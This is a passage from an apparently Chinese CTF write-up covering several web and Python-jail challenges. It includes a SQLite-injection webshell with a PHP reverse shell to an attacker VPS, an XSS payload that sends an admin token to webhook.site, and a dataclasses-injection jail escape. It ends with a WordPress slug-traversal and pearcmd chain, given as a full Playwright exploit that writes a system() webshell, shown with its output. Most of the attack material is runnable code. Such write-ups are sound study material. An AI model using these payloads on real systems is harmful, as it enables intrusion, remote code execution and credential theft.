send_msg(base, "<?=`$_GET[0]');VACUUM INTO('.y")
send_msg(base, "`;');VACUUM INTO('.z")

# 2) ATTACH template over given paths (p -> {ibs=1, if=.y, obs=1, of=.w.php, skip=8180})
for p in ["dd", "ibs=1", "if=.y", "obs=1", "of=.w.php", "skip=8180"]:
send_msg(base, f"');ATTACH'{p}'AS h;")

# 3) Fetch the created ..php (path provided in your instructions)
fetch(base, "/sandbox/a66bee76fe7c8662107934bd6464d03c/..php")

# 4) More ATTACH paths: skip=8190, if=.z
for p in ["skip=8190", "if=.z", "seek=12"]:
send_msg(base, f"');ATTACH'{p}'AS h;")

# 5) Fetch ..php again
fetch(base, "/sandbox/a66bee76fe7c8662107934bd6464d03c/..php")

if __name__ == "__main__":
main()

至此.w.php已经被写入一句话木马,按下面流程反弹shell即可

  1. 浏览器访问http://localhost:8080/sandbox/a66bee76fe7c8662107934bd6464d03c/.w.php?0=echo "<?php \$ip='xxx.xxx.xxx.xxx';\$port=xxxx;\$sock=fsockopen(\$ip,\$port);\$proc=proc_open('/bin/sh',array(0=>\$sock,1=>\$sock,2=>\$sock),\$pipes);?>" > 1.php
  2. vps起监听
  3. 浏览器访问http://localhost:8080/sandbox/a66bee76fe7c8662107934bd6464d03c/.w.php?0=php 1.php
  4. 此时vps应该已经接收到反弹过来的shell,需要通过script -qc /bin/bash /dev/null升级为交互式shell
  5. 执行./read_flag,完成交互即可
1
2
3
4
5
www-data@6a6da2e2495c:/$ ./read_flag
./read_flag
76 x 69 = ? 5244
5244
hitcon{123}

还有一位师傅的payload,原理也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash

curl "$1/?msg=$(urlencode "');VACUUM INTO('cp")"
curl "$1/?msg=$(urlencode '<?=`ls>_`;'"');VACUUM INTO('z")"
curl "$1/?msg=$(urlencode '<?=`*`;'"');VACUUM INTO('z.php")"
curl "$1/sandbox/$2/z.php"

curl "$1/?msg=$(urlencode '<?=`sh _`;'"');VACUUM INTO('cz")"
curl "$1/?msg=$(urlencode '<?=`c*`;'"');VACUUM INTO('cz.php")"
curl "$1/sandbox/$2/cz.php"

curl "$1/?msg=$(urlencode "');VACUUM INTO('mv")"
curl "$1/?msg=$(urlencode '<?=`sh x`;'"');VACUUM INTO('mz")"
curl "$1/?msg=$(urlencode '<?=`m*`;'"');VACUUM INTO('mz.php")"
curl "$1/sandbox/$2/mz.php"

curl "$1/?msg=$(urlencode "');VACUUM INTO('ls -t>x")"

curl "$1/sandbox/$2/z.php"

curl "$1/?msg=$(urlencode "');VACUUM INTO('>a.php")"
curl "$1/?msg=$(urlencode "');VACUUM INTO('\`\$_GET[0]\`;''\\")"
curl "$1/?msg=$(urlencode "');VACUUM INTO('echo ''<?=")"

curl "$1/sandbox/$2/cz.php"

curl "$1/sandbox/$2/mz.php"

Note

一个laravel框架的站,源码很多,不过真正需要关注的只有几个php文件

api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;

Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
Route::post('/login', [AuthController::class, 'login'])->middleware(DangerousWordFilter::class);

// New public route for serving admin files
Route::get('/announcement/{filename}', [FileController::class, 'servePublicAdminFile'])->where('filename', '.*');
Route::get('/announcements', [FileController::class, 'serveAllPublicAdminFile']);

Route::middleware('auth:sanctum')->group(function () {
Route::post('/logout', [AuthController::class, 'logout'])->middleware(DangerousWordFilter::class);
Route::get('/user', function (Request $request) {
return $request->user();
})->middleware(DangerousWordFilter::class);

// File Upload and Download Routes
Route::post('/upload', [FileController::class, 'upload'])->middleware(DangerousWordFilter::class);
Route::get('/download/{filename}', [FileController::class, 'download'])->middleware(DangerousWordFilter::class);
Route::get('/files', [FileController::class, 'getAllFiles']);

// Admin command execution
Route::post('/admin/testFile', [\App\Http\Controllers\AdminController::class, 'testFile']);
Route::post('/admin/report', [\App\Http\Controllers\AdminController::class, 'report'])->middleware(DangerousWordFilter::class);

});

可以看到/register等路由经过了一个DangerousWordFilter的middleware,下面看看这个middleware做了些什么
DangerousWordFilter.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response;

class DangerousWordFilter
{
/**
* Handle an incoming request.
*
* @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next
*/
public function handle(Request $request, Closure $next): Response
{
if($request->path()==="api/login") {
return $next($request);
}
$dangerousWords = ['badword1', 'badword2', 'badword3', '..', 'admin']; // Added '..'
$rawBody = $request->getContent();
if (is_string($rawBody)) {
foreach ($dangerousWords as $word) {
if (stripos($rawBody, $word) !== false) {
return response()->json(['error' => 'Request contains dangerous words.'], 403);
}
}
}

return $next($request);
}
}

这里对登录接口 api/login 不做检测,直接放行

1
2
3
if($request->path()==="api/login") {
return $next($request);
}

然后就是检查请求体里面是否有如下危险字符串$dangerousWords = ['badword1', 'badword2', 'badword3', '..', 'admin'];

继续分析
FileController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Auth; // To get the authenticated user

class FileController extends Controller
{
public function upload(Request $request)
{
$request->validate([
'file' => 'required|file|max:5', // Max 10MB file size
]);

$user = Auth::user();
if (!$user) {
return response()->json(['error' => 'Unauthenticated.'], 401);
}

// Sanitize username
$username = basename($user->username); // Ensure no path traversal in username

// Determine disk and path based on admin status
$disk = 'local';
$basePath = 'uploads/' . $username;
$publicUrl = null; // To store the public URL if applicable
// Assuming 'is_admin' property exists on the User model
if ($user->username === 'admin') {
$disk = 'local'; // Corrected disk for admin
$basePath = 'admin/';
}

if (!Storage::disk($disk)->exists($basePath)) {
Storage::disk($disk)->makeDirectory($basePath);
}

$filePath = $request->file('file')->store($basePath); // Corrected storeAs parameter

if (isset($user->is_admin) && $user->is_admin) { // Corrected publicUrl logic
$publicUrl = "/api/announcement/".basename($filePath);
}

return response()->json([
'message' => 'File uploaded successfully',
'path' => basename($filePath),
'disk' => $disk,
'public_url' => $publicUrl // Will be null if not public
], 200);
}

public function getAllFiles()
{
$user = Auth::user();

// Sanitize username
$username = basename($user->username); // Ensure no path traversal in username

$basePath = 'uploads/' . $username;
if ($user->username === 'admin') {
$basePath = 'admin/';
}

$files = Storage::disk('local')->files($basePath);
$fileContents = [];
foreach ($files as $file) {
$fileContents[] = [
'name' => basename($file),
'content' => Storage::disk('local')->get($file)
];
}

return response()->json($fileContents);
}

public function download($filename = null)
{
$user = Auth::user();
if (!$user) {
return response()->json(['error' => 'Unauthenticated.'], 401);
}

// Sanitize username
$username = basename($user->username); // Ensure no path traversal in username

// Sanitize filename
$filename = basename($filename); // Extract actual filename

$filePath = 'uploads/' . $username . '/' . $filename; // Always from private storage for download API

if (!Storage::disk('local')->exists($filePath)) {
return response()->json(['error' => 'File not found.'], 404);
}

return Storage::disk('local')->download($filePath);
}

public function servePublicAdminFile($filename = null)
{
$filename = basename($filename); // Extract actual filename

$filePath = 'admin/' . $filename;

if (!Storage::disk('local')->exists($filePath)) {
return response()->json(['error' => 'File not found.'], 404);
}

return Storage::disk('local')->response($filePath); // Changed to response()
}

public function serveAllPublicAdminFile()
{
$basePath = 'admin/';
$files = Storage::disk('local')->files($basePath);
$fileContents = [];
foreach ($files as $file) {
$fileContents[] = [
'name' => basename($file),
'content' => Storage::disk('local')->get($file)
];
}

return response()->json($fileContents);
}

}

登录之后可以调用里面的一些方法

1.upload

上传文件并储存
存储路径的生成逻辑如下

1
2
3
4
5
6
7
8
$username = basename($user->username); //用 basename 去除任何路径部分,防止用户名中含有 ../ 之类的路径遍历片段。
$disk = 'local';
$basePath = 'uploads/' . $username;
$publicUrl = null;
if ($user->username === 'admin') {
$disk = 'local';
$basePath = 'admin/';
}

如果 is_admin 为真,则拼出一个针对公告接口的访问路径。

1
2
3
if (isset($user->is_admin) && $user->is_admin) {
$publicUrl = "/api/announcement/".basename($filePath);
}

2.getAllFiles

根据当前用户(或 admin)确定要列举的目录,列举并读取所有文件

3.download

认证校验 → 路径净化 → 存在性检查 → 返回下载响应

4.servePublicAdminFile

1
2
3
4
5
6
7
8
9
public function servePublicAdminFile($filename = null)
{
$filename = basename($filename);
$filePath = 'admin/' . $filename;
if (!Storage::disk('local')->exists($filePath)) {
return response()->json(['error' => 'File not found.'], 404);
}
return Storage::disk('local')->response($filePath);
}

无需认证,仅针对 admin/ 目录提供公开访问
response() 会以内联方式(Content-Disposition: inline)把文件流返回,适合浏览器直接预览

5.serveAllPublicAdminFile

1
2
3
4
5
6
7
8
9
10
11
12
13
public function serveAllPublicAdminFile()
{
$basePath = 'admin/';
$files = Storage::disk('local')->files($basePath);
$fileContents = [];
foreach ($files as $file) {
$fileContents[] = [
'name' => basename($file),
'content' => Storage::disk('local')->get($file),
];
}
return response()->json($fileContents);
}

列举并返回 admin/ 目录下所有文件的名称与内容,同 getAllFiles,但无需认证。

最后还有一个关键代码

AdminController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AdminController extends Controller
{
public function testFile(Request $request)
{
$user = Auth::user();
if ($user->username !== 'admin') {
return response()->json( ['error' => 'Unauthenticated.'], 401);
}
$file = basename($request->input("file"));
$dst = uniqid();
if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
return response()->json(['error'=>"Be a nice hacker"]);
}
$file = "../storage/app/private/admin/" . $file;

if(!file_exists($file)){
return response()->json(['error'=>"$file not exist"]);
}
exec("cp $file $dst");

return response()->json(['output' => "/$dst"]);
}


public function report(Request $request) {
$user = Auth::user();
if ($user->username === 'admin') {
return response()->json( ['error' => 'lonely?'], 400);
}
$url = $request->input("url");
$cmd = "node ../visitor.js ".escapeshellarg($url);
exec($cmd);
return response()->json(['message'=>'ok', "cmd"=>$cmd]);
}
}

testFile

仅允许用户名精确为 ‘admin’ 的用户执行后续操作
将私有文件拷贝到根目录下
这里的 exec() 存在命令注入

report

admin不可调用
执行以下命令

1
2
3
$url = $request->input("url");
$cmd = "node ../visitor.js ".escapeshellarg($url);
exec($cmd);

我们可以发现想要走到 testFile 里的 exec(),首先需要成为admin

由于黑名单的限制无法直接注册admin,但是注意到AuthController里是以json格式return的,这里可以采用json unicode编码来绕过

1
2
3
reg_res = requests.post(f"{host}/api/register", headers = {
"Content-Type": "application/json"
},data='{"username":"\\u002e\\u002e\\\\\\u0061\\u0064\\u006d\\u0069\\u006e","password":"123456"}')

在以上payload中,最终成功注册了一个..\\admin用户

根据出题人的说法flysystem, the filesystem of laravel, replace \ with / for u, and basename consider \ as a part of filename. So just register username ..\admin write to admin,这里会自动把\替换成/,并且在经过basename函数时..//会被去除,因此就只剩下admin,如下

1
2
3
4
5
6
<?php
$name = "..//admin";
echo basename($name);
?>

output: admin

这里要注意下面的写法是错的,会导致注册了一个..\\u0061dmin用户,这是因为第一个\将第二个\转义,无法按照unicode解析

1
2
3
4
reg_res = requests.post(f"{host}/api/register", headers = {
"Content-Type": "application/json"
},data='{"username":"\\u002e\\u002e\\\\u0061\\u0064\\u006d\\u0069\\u006e","password":"123456"}')
token1 = reg_res.json()["token"]

注意,虽然..\\admin经过basename函数后会变为admin,但是在AdminController里对username的校验并没有经过basename函数,因此我们需要在..\\admin获取到一个真正admin的token,才能去调用我们想要的testfile方法,对于一个note网站,很容易想到XSS

注意到源码中还有一个visitor.js,在AdminController的report方法里被调用,这里其实就相当于一个adminbot,我们让bot去访问上传的带有XSS payload的网页即可

1
2
3
4
5
6
7
xsscontent = '''<script>fetch(`https://webhook.site/e3e89089-a107-4b70-8a6a-f56bcf70bdd8?token=${encodeURIComponent(localStorage.auth_token)}`)</script>'''

upload_res = r.post(f"{host}/api/upload", files={"file": ("note.txt", xsscontent)}, headers={"Authorization": f"Bearer {token1}"},)
path = upload_res.json()["path"]

url = f"{host}/api/announcement/{path}"
res = r.post(f"{host}/api/admin/report", json={"url": url}, headers={"Authorization": f"Bearer {token1}"},)

服了,一直等不到admin token,后面越看越晕,这题复盘暂时中止

simp

很短的源码

1
2
3
4
#!/usr/local/bin/python3
while True:
mod, attr, value = input('>>> ').split(' ')
setattr(__import__(mod), attr, value)

程序进入一个无限循环,每次都会读取一行用户输入,分别赋值给mod,attr,value

exp.py

1
2
3
4
5
6
7
from pwn import *

conn = remote('127.0.0.1', 48763)
conn.sendline(b'dataclasses _FIELDS x\rbreakpoint()\rdef\tf():#')
conn.sendline(b'dataclasses _POST_INIT_NAME x\rbreakpoint()\rdef\tf():#')
conn.sendline(b'pstats x x')
conn.interactive()

然后就可以执行任意python代码

1
2
3
4
5
6
7
8
9
(Pdb) import os
(Pdb) os.popen('ls').read()
''
(Pdb) os.popen('ls /home').read()
'ctf\n'
(Pdb) os.popen('ls /home/ctf').read()
'chal.py\nexp.py\nexp1.py\nflag\nrun.sh\n'
(Pdb) os.popen('cat /home/ctf/flag').read()
'flag{fake}'

好简洁的payload,AI分析一下

  1. __import__(mod) 会在设置属性前导入模块
    也就是说,只要我们把 mod 写成某个标准库模块名,这一行就会执行它的导入流程(含顶层代码)。
  2. value 是字符串,但可以包含控制字符
    由于是用 split(' ')(只按空格分割),因此我们可以把 \r(回车)、\t(制表符)等字符塞进 value,不会被进一步拆分。这让我们能把多行代码片段塞进某些会用 exec() 拼接/生成代码的模块模板里。
  3. 可写模块私有常量
    我们能随意 setattr(模块, 名称, 字符串),哪怕是该模块内部使用的私有常量(例如 _SOMETHING),从而污染模块的代码生成模板。

为什么选 dataclasses 当注入点

dataclasses 在实现中会通过字符串模板 + exec()动态生成 __init__、__repr__、__setattr__ 等方法;这些模板里会引用若干内部常量(例如 _FIELDS_POST_INIT_NAME 等)。
如果我们把这些常量改成包含换行和任意 Python 语句的字符串,那么下一次有模块调用 @dataclass(或相关构造)时,dataclassesexec() 那段拼接后的代码时,就会把我们注入的语句一并执行。

因此第一步与第二步是:

第 1 次发送
dataclasses _FIELDS x\rbreakpoint()\rdef\tf():#
第 2 次发送
dataclasses _POST_INIT_NAME x\rbreakpoint()\rdef\tf():#

这两次把 dataclasses 的两个内部名字分别改成了带”换行 + 代码”的字符串:
x\rbreakpoint()\rdef\tf():#

其中 \r(回车)在源码拼接时等价于换行;
breakpoint() 会调用默认的 sys.breakpointhook,即 pdb.set_trace()

后面的 def\tf():#(也就是 def f():#)只是占位,避免代码拼接后语法结构断裂(保证 exec 时依旧是合法 Python 代码)。

到这一步,我们只是把”炸弹”放进了 dataclasses 的模板里,还没”引爆”。要想实际执行注入的 breakpoint(),必须让某个模块用到 dataclasses 去生成代码。

为什么第三步导入 pstats 就会”引爆”

第 3 次发送
pstats x x

别看它只是随手在 pstats 上塞个属性 x,重点是 __import__('pstats')
在较新的 Python 版本里,pstats(以及其相关的统计条目/记录结构)内部确实使用了 @dataclass 来定义若干数据结构。
因此当我们导入 pstats 时,它会在模块顶层或类定义处用到 dataclasses 来创建数据类,触发 dataclasses 的模板拼接 + exec(),进而把我们注入的 breakpoint() 一并执行,直接掉进 pdb。

也就是说,第三行是触发器:先污染 dataclasses,再导入一个会用 dataclasses 生成代码的模块(这里选择的是标准库 pstats,稳定可用),从而把我们送进调试器。

还有一个比较笨重的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import string

KNOWN_FLAG = ''

charset = string.ascii_letters+string.digits+string.punctuation

while True:
print("NEW POS")
for c in charset:
p = remote("localhost", 48763)
# p = remote("simp.chal.hitconctf.com", 48763)
p.recv()
p.sendline(b'sys argv ab')
p.recv()
p.sendline(b'sys _base_executable /bin/tclsh')
p.recv()
p.sendline(b'venv.__main__ meow meow')
guess = KNOWN_FLAG + c
guess = guess.replace("{", "\\{").replace("}", "\\}").replace("'", "\\\'").replace("\"", "\\\"")
p.sendline(f'set f [open "/home/ctf/flag" r]; set c [read $f {len(KNOWN_FLAG)+1}]; close $f; if {{$c eq "{guess}"}} {{exit}}'.encode())
try:
p.recv(timeout=.75)
except:
KNOWN_FLAG += c
print(KNOWN_FLAG)
p.close()
break
p.close()

看脚本的前几行 payload:

1
2
3
p.sendline(b'sys argv ab')
p.sendline(b'sys _base_executable /bin/tclsh')
p.sendline(b'venv.__main__ meow meow')

这里有几个重要动作:

  1. sys.argv 被改成 "ab"
    这影响到后续 Python 启动子进程或 runpy 时,sys.argv 会带上我们的参数。
  2. sys._base_executable 改成 "/bin/tclsh"
  • sys._base_executable 是 Python 里用来标记Python 解释器的路径的变量。
  • 修改它之后,某些库(例如 venv)在运行时会根据它来调用解释器。
  • 被我们篡改后,Python 认为解释器是 Tcl 解释器 /bin/tclsh
  1. 调用 __import__('venv.__main__')
  • 导入 venv.__main__ 时,会触发 venv 内部逻辑,它会尝试用 sys._base_executable 作为解释器来执行一些初始化脚本。
  • 因为我们把 _base_executable 改成了 /bin/tclsh,所以它会启动 Tcl 解释器而不是 Python 解释器。

至此,Python 的执行环境被替换为 Tcl 解释器。也就是说,后面我们输入的东西就是 Tcl 脚本了。

接下来代码里发送的输入是:

1
p.sendline(f'set f [open "/home/ctf/flag" r]; set c [read $f {len(KNOWN_FLAG)+1}]; close $f; if {{$c eq "{guess}"}} {{exit}}'.encode())

这是一段 合法的 Tcl 脚本:

  • set f [open "/home/ctf/flag" r] 打开 /home/ctf/flag。
  • set c [read $f N] 读取前 N 个字符。
  • close $f
  • if {$c eq "..."} {exit}
    如果读到的内容等于我们猜测的前缀,就执行 exit(让进程正常退出)。

后续就是逐字爆破泄露 flag

采用爆破法是因为没有直接把 flag 打印出来的通路(Tcl 输出会和 socket 混在一起),所以用条件退出作为 side-channel 判定。

wp-admin

给了进后台的账密,但是 WordPress 文件夹设置为只读。

从管理面板在 WordPress 上实现 RCE 的传统方法是使用主题或插件编辑器添加 Web shell。但是,在这种情况下,WordPress 文件夹是只读的,因此我们无法直接修改任何文件。

根据maple的讲解,攻击点在于wp-includes/template-loader.php

它首先检查请求的帖子类型,并调用相应的函数来获取模板文件(PHP 文件)的路径。之后,返回的模板路径被包含,所以如果返回的模板路径可以控制,我们就可以实现LFI。

1
2
3
4
5
6
7
8
9
$template = apply_filters( 'template_include', $template );
if ( $template ) {
include $template;
} elseif ( current_user_can( 'switch_themes' ) ) {
$theme = wp_get_theme();
if ( $theme->errors() ) {
wp_die( $theme->errors() );
}
}

在 WordPress 中,帖子不仅仅是一篇文章,还包括页面、附件和自定义帖子类型

我们的目标是wp-includes/template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function get_single_template() {
$object = get_queried_object();

$templates = array();

if ( ! empty( $object->post_type ) ) {
$template = get_page_template_slug( $object );
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template;
}

$name_decoded = urldecode( $object->post_name );
if ( $name_decoded !== $object->post_name ) {
$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
}

$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
$templates[] = "single-{$object->post_type}.php";
}

$templates[] = 'single.php';

return get_query_template( 'single', $templates );
}

虽然post_type无法控制,但post_name是可以控制的。post_name是帖子的slug,可以在管理面板中更改。
alt text

但是,如果我们尝试将 / 或 .. 放在slug中,会被清洗掉。幸运的是,get_single_template中的函数将解码 URL 编码字符,因此我们只需对路径遍历字符进行 URL 编码即可。所以现在,我们可以将模板路径的后缀控制为single-post-[SLUG].php

数组$templates被传递给get_query_template,后者调用locate_template以查找模板的完整路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
global $wp_stylesheet_path, $wp_template_path;

if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
wp_set_template_globals();
}

$is_child_theme = is_child_theme();

$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}

if ( $load && '' !== $located ) {
load_template( $located, $load_once, $args );
}

return $located;
}

该函数将检查模板文件是否存在于三个位置:

  1. $wp_stylesheet_path: 活动主题的路径。
  2. $wp_template_path: 父主题的路径(如果使用子主题)。
  3. ABSPATH.WPINC.’/theme-compat/‘: WordPress 核心文件中的后备目录。

$wp_stylesheet_path 是样式表数据库中的选项,可以在 /wp-admin/options.php 中更改。因此,返回的完整模板路径为:[THEME_PATH]/single-post-[SLUG].php

如果我们将 stylesheet 设置为 ../../../../tmp,将 slug 设置为 /../../something,路径将是:
../../../../tmp/single-post-/../../something.php

这意味着如果文件夹 /tmp/single-post- 存在,我们可以在文件系统下包含任何以 .php 结尾的文件,从而实现 LFI。

但是我们如何创建文件夹 /tmp/single-post- 呢?这实际上很容易,只需更改upload_path选项并上传附件即可。附件将存储在 [UPLOAD_PATH]/[YEAR]/[MONTH]/ 中,如果文件夹不存在,WordPress 将创建该文件夹。

因此,如果我们将upload_path设置为 /tmp/single-post-,那么当我们上传附件时,将创建该文件夹。

LFI to RCE

现在,我们基本上可以在服务器上包含任何 PHP 文件,如何从中弹出一个 shell?
在 WordPress 容器中,我们可以发现众所周知的 PEAR LFI 到 RCE 技巧在这里也有效。
find / -name '*.php' /usr/local/lib/php/pearcmd.php

综上,完整的攻击流程如下

  1. 确保至少存在两个帖子。
  2. 将第一个的 slug 更改为 %2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd,将第二个的 slug 更改为 %2f%2e%2e%2f%2e%2e%2ftmp%2fshell,并记录它们的帖子 ID
  3. 将 stylesheet 选项更改为 ../../../../tmp
  4. 将 upload_path 选项更改为 /tmp/single-post-。
  5. 在某处上传附件以创建文件夹 /tmp/single-post-。
  6. 访问 /?p=[PEARCMD_POST_ID]&+config-create+/<?system($_GET[0]);die();?>+/tmp/shell.php 将 Web shell 写入 /tmp/shell.php
  7. 访问 /?p=[SHELL_POST_ID]&0=/readflag 获取flag

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import asyncio
import re
import sys
from urllib.parse import quote_plus

from playwright.async_api import async_playwright


async def main(target: str, cmd: str):
async with async_playwright() as p:
browser = await p.chromium.launch(
executable_path="/usr/bin/chromium", headless=False
)
page = await browser.new_page()
# install
await page.goto(f"{target}/")

# login
await page.goto(f"{target}/wp-login.php")
await page.fill("#user_login", "admin")
await page.fill("#user_pass", "admin")
await page.click("#wp-submit")
await page.wait_for_url(f"{target}/wp-admin/")
await page.goto(f"{target}/wp-admin/edit.php")

# check if we have enough posts
rows = page.locator("#the-list tr")
if await page.locator("#the-list tr").count() < 2:
# if not, create a post
await page.goto(f"{target}/wp-admin/post-new.php")
cls = page.locator('button[aria-label="Close"]')
if await cls.count() > 0:
await cls.click()
await (
page.frame_locator('iframe[name="editor-canvas"]')
.locator(".wp-block-post-title")
.fill("test")
)
await page.click('.edit-post-header button:has-text("Publish")')
await page.click('.editor-post-publish-panel button:has-text("Publish")')

# now we should have enough posts
await page.goto(f"{target}/wp-admin/edit.php")
rows = page.locator("#the-list tr")
assert await rows.count() >= 2, "wtf"
# change post slugs to pearcmd and shell
slugs = [
"%2f%2e%2e%2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd",
"%2f%2e%2e%2f%2e%2e%2ftmp%2fshell",
]
ids = []
for i in range(2):
tr = rows.nth(i)
title = tr.locator("a.row-title")
url = await title.get_attribute("href")
await tr.hover()
await tr.locator('button:has-text("Quick Edit")').click()
slug = page.locator('#the-list input[name="post_name"]')
await slug.fill(slugs[i])
await page.locator('#the-list button:has-text("Update")').click()
post_id = int(re.search(r"post=(\d+)", url).group(1))
ids.append(post_id)
# get their corresponding pear_id and shell_id
pear_id, shell_id = ids
print(f"{pear_id = }")
print(f"{shell_id = }")

# now go to the options page
await page.goto(f"{target}/wp-admin/options.php")
# check if we have the right options
if "../" not in await page.locator('input[name="stylesheet"]').input_value():
# set stylesheet to tmp and upload path to /tmp/single-post-
await page.fill('input[name="stylesheet"]', "../../../../../../../../tmp/")
await page.fill('input[name="upload_path"]', "/tmp/single-post-")
await page.click('input[type=submit][value="Save Changes"]')

# then upload a dummy file to ensure /tmp/single-post- folder is created
await page.goto(f"{target}/wp-admin/media-new.php?browser-uploader")
upl = page.locator("#async-upload")
await upl.set_input_files(
[
{
"name": "test.txt",
"mimeType": "text/plain",
"buffer": b"kon peko",
}
]
)
await page.click('input[type=submit][value="Upload"]')
await browser.close()

# now we can use the pearcmd to write /tmp/shell.php
p1 = await asyncio.create_subprocess_exec(
"curl",
"-g",
"--",
f"{target}/?p={pear_id}&+config-create+/<?system($_GET[0]);die();?>+/tmp/shell.php",
)
await p1.wait()

# execute the command
p2 = await asyncio.create_subprocess_exec(
"curl", "--", f"{target}/?p={shell_id}&0={quote_plus(cmd)}"
)
await p2.wait()


target = "http://localhost:8000" if len(sys.argv) < 2 else sys.argv[1].rstrip("/")
asyncio.run(main(target, "id && ls -l / && /readflag"))

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
> python exp.py
pear_id = 8
shell_id = 1
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /<?system($_GET[0]);die();?>/pear
PEAR documentation directory doc_dir /<?system($_GET[0]);die();?>/pear/docs
PHP extension directory ext_dir /<?system($_GET[0]);die();?>/pear/ext
PEAR directory php_dir /<?system($_GET[0]);die();?>/pear/php
PEAR Installer cache directory cache_dir /<?system($_GET[0]);die();?>/pear/cache
PEAR configuration file cfg_dir /<?system($_GET[0]);die();?>/pear/cfg
directory
PEAR data directory data_dir /<?system($_GET[0]);die();?>/pear/data
PEAR Installer download download_dir /<?system($_GET[0]);die();?>/pear/download
directory
Systems manpage files man_dir /<?system($_GET[0]);die();?>/pear/man
directory
PEAR metadata directory metadata_dir <not set>
PHP CLI/CGI binary php_bin <not set>
php.ini location php_ini <not set>
--program-prefix passed to php_prefix <not set>
PHP's ./configure
--program-suffix passed to php_suffix <not set>
PHP's ./configure
PEAR Installer temp directory temp_dir /<?system($_GET[0]);die();?>/pear/temp
PEAR test directory test_dir /<?system($_GET[0]);die();?>/pear/tests
PEAR www files directory www_dir /<?system($_GET[0]);die();?>/pear/www
Cache TimeToLive cache_ttl <not set>
Preferred Package State preferred_state <not set>
Unix file mask umask <not set>
Debug Log Level verbose <not set>
PEAR password (for password <not set>
maintainers)
Signature Handling Program sig_bin <not set>
Signature Key Directory sig_keydir <not set>
Signature Key Id sig_keyid <not set>
Package Signature Type sig_type <not set>
PEAR username (for username <not set>
maintainers)
User Configuration File Filename /tmp/shell.php
System Configuration File Filename #no#system#config#
Successfully created default configuration file "/tmp/shell.php"
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:37:"/uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 56
lrwxrwxrwx 1 root root 7 May 12 19:25 bin -> usr/bin
drwxr-xr-x 2 root root 4096 May 12 19:25 boot
drwxr-xr-x 5 root root 340 Aug 27 14:51 dev
drwxr-xr-x 1 root root 4096 Aug 26 18:39 etc
drwxr-xr-x 2 root root 4096 May 12 19:25 home
lrwxrwxrwx 1 root root 7 May 12 19:25 lib -> usr/lib
lrwxrwxrwx 1 root root 9 May 12 19:25 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Aug 11 00:00 media
drwxr-xr-x 2 root root 4096 Aug 11 00:00 mnt
drwxr-xr-x 2 root root 4096 Aug 11 00:00 opt
